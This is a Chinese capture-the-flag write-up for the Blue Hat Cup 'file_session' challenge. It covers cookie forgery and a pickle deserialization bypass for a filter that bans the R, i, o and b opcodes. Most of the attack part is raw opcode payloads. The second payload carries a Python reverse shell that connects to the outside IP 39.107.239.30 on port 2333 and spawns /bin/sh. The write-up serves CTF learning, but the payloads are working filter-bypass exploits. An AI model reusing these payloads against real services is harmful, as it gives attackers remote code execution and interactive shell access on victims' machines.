蓝帽pickle反序列化新方法

蓝帽杯file_session(pickle反序列化新方法)

伪造cookie

这题考点很多,最后的pickle反序列化做法确实很新颖,让人学到了很多东西。

官方wp
pickle反序列化原理
可以控制读取的offset从哪开始,尝试读取内存文件。这部分参考wp,注意别忘了时间戳不一样,伪造了cookie后就能进行pickle反序列化了。

pickle反序列化

题目在_loads中将R i o b全部ban了,所以需要寻找新的方法。
payload为bytes.__new__(bytes,map.__new__(map,eval,['print(11111)']))
利用方法很新颖,学到了属于,具体调用可以参考wp。题目最终的opcode是这样的,利用的是_loads函数,但是其实还有一个loads函数,所以这里尝试了用loads函数写了另外一种opcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pickle import _loads
b= b'''c__builtin__
map
p0
0(]S'print(1111)'
ap1
0](c__builtin__
exec
g1
ep2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
g3
\x81
.'''
_loads(b)

loads函数的话,其实只需要给参数都改为元组形式,因为上面的opcode在loads函数下会报一个错误.
在这里插入图片描述
回到pickle源码可以看到loads函数其实是从_pickle中引进的,而_loads函数就在pickle里实现了,两者的实现过程是不一样的。看_pickle的源码就能发现它要求你的参数为元组而不能是列表,所以用t操作码即可。

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pickle import loads
# from pickle import loads
# bytes.__new__(bytes,map.__new__(map,eval,['print(11111)']))
b= b'''c__builtin__
map
p0
0(]S'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("39.107.239.30",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ap1
0(c__builtin__
exec
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
0g4
(g3
t\x81p5
.'''
loads(b)

本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!